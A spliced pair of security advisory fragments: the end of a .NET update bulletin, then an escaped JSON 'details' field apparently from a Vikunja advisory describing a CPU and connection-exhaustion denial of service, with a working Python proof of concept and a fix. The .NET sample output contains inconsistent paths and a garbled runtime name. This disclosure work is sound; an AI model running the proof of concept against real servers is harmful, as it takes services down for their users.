If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.\n* .NET Framework-based applications and other application types need to perform a package update.\n* If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET Core SDK (reflecting any global.json):\n\n\n Version:   8.0.200\n Commit:    8473146e7d\n\nRuntime Environment:\n\n OS Name:     Windows\n OS Version:  10.0.18363\n OS Platform: Windows\n RID:         win10-x64\n Base Path:   C:\\Program Files\\dotnet\\sdk\\6.0.300\\\n\nHost (useful for support):\n\n  Version: 8.0.3\n  Commit:  8473146e7d\n\n.NET Core SDKs installed:\n\n  8.0.200 [C:\\Program Files\\dotnet\\sdk]\n\n.NET Core runtimes installed:\n\n  Microsoft.AspAspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspAspNetCore.App]\n  Microsoft.AspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspNetCore.App]\n  Microsoft.WindowsDesktop.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.WindowsDesktop.App]\n\n\nTo install additional .NET Core runtimes or SDKs:\n  https://aka.ms/dotnet-download\n```\n\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0 RC 2  Runtime or .NET 9.0.100-rc.2.24474.11 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n* If you\u0027re using .NET 8.0, you should download and install .NET 8.0.10  Runtime or .NET 8.0.110 SDK (for Visual Studio 2022 v17.8) from https://dotnet.microsoft.com/download/dotnet-core/8.0.\n* If you\u0027re using .NET 6.0, you should download and install .NET 6.0.35  Runtime or .NET 6.0.135 SDK (for Visual Studio 2022 v17.6) from https://dotnet.microsoft.com/download/dotnet-core/6.0.\n\n.NET 6.0 and .NET 8.0 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 8.0 or .NET 6.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind.

  "details": "## Summary\n\nThe `addRepeatIntervalToTime` function uses an O(n) loop that advances a date by the task\u0027s `RepeatAfter` duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.\n\n## Details\n\nThe vulnerable function at `pkg/models/tasks.go:1456-1464`:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    for {\n        t = t.Add(duration)\n        if t.After(now) {\n            break\n        }\n    }\n    return t\n}\n```\n\nThe `RepeatAfter` field accepts any positive integer (validated as `range(0|9223372036854775807)`), and `DueDate` accepts any valid timestamp including dates far in the past. When a task with `repeat_after=1` and `due_date=1900-01-01` is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).\n\nEach request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests, time\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"DoS Test\"}).json()\n\n# create task with repeat_after=1 second and a date far in the past\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h,\n    json={\"title\": \"DoS\", \"repeat_after\": 1,\n          \"due_date\": \"1900-01-01T00:00:00Z\"}).json()\n\n# mark done - triggers the vulnerable loop\nstart = time.time()\ntry:\n    r = requests.post(f\"{API}/tasks/{task[\u0027id\u0027]}\", headers=h,\n        json={\"title\": \"DoS\", \"done\": True}, timeout=120)\n    print(f\"Response: {r.status_code} in {time.time()-start:.1f}s\")\nexcept requests.exceptions.Timeout:\n    print(f\"TIMEOUT after {time.time()-start:.1f}s\")\n```\n\nOutput:\n```\nTIMEOUT after 60.0s\n```\n\nThe request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, `due_date=2020-01-01` completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.\n\n## Impact\n\nAny authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.\n\n## Recommended Fix\n\nReplace the O(n) loop with O(1) arithmetic:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    if duration \u003c= 0 {\n        return t\n    }\n    diff := now.Sub(t)\n    if diff \u003c= 0 {\n        return t.Add(duration)\n    }\n    intervals := int64(diff/duration) + 1\n    return t.Add(time.Duration(intervals) * duration)\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
